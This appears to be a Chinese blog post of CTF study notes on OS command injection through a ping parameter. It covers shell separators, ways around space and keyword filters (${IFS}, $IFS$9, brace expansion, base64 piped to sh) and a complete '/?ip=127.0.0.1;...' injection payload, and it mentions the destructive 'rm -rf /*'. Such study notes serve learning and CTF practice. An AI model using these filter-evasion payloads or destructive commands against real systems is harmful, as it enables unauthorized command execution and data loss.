命令执行(Ping)
Shell 命令的基本格式如下:
command [选项] [参数]
[]
表示可选的,也就是可有可无。有些命令不写选项和参数也能执行,有些命令在必要的时候可以附带选项和参数。
Shell 命令的选项用于调整命令功能,而命令的参数是这个命令的操作对象。有些选项后面也需要附带参数,以补全命令的功能。
| : 直接执行后面的语句
||: 如果前面执行的语句出错,才执行后面的语句
&: &前面后面的命令都要执行,无论真假
&&:如果前面为假就直接出错,后面的不会被执行
Linux中多了一个“;”,多个命令顺序执行
ls(list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录) 这里是LLL小写的l,不是大写的i
cat(concatenate):用于连接文件并打印到标准输出设备上。
system被过滤时,可以使用assert来代替
Linux ls 命令可以看目录文件,我们不知道文件目录有几层可以通过" ../ "返回上一级目录到根目录。 此处第一个" ../"需要空格,接下去再找更上一级的目录就不需要空格了
rm -rf /* 是Linux的一条指令,/*代表根目录下所有路径,作用是删除根目录下所有文件,也就是删除系统中的所有文件
格式:rm 指令 路径
-n
选项,就不会换行了。 unix命令: //不知道跟Linux命令有什么区别
echo "some text" #将文字内容打印在屏幕上
ls #文件列表
cp sourcefile destfile #文件拷贝
mv oldname newname #重命名文件或移动文件
rm file #删除文件
grep 'pattern' file #在文件内搜索字符串,如:grep 'searchstring' file.txt
cat file.txt #输出文件内容到标准输出设备(屏幕)上
read var #显示用户输入,并将输入赋值给变量
若要输入cat flag.php 当空格被过滤时的方法:
命令执行绕过笔记 - 冬泳怪鸽 - 博客园 (cnblogs.com)
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
有一题对空格和flag都进行了过滤:
使用 base64 编码的方式来绕过 flag 过滤。
加密命令
echo “cat flag.php” | base64
解密命令并执行
echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
Y2F0IGZsYWcucGhwCg== 是对cat flag.php 的加密,不知道为什么不需要对""进行加密,可能因为cat flag.php 是一个命令而不是单纯的文本?
然后用 $IFS$9 代替空格。
构造payload:/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?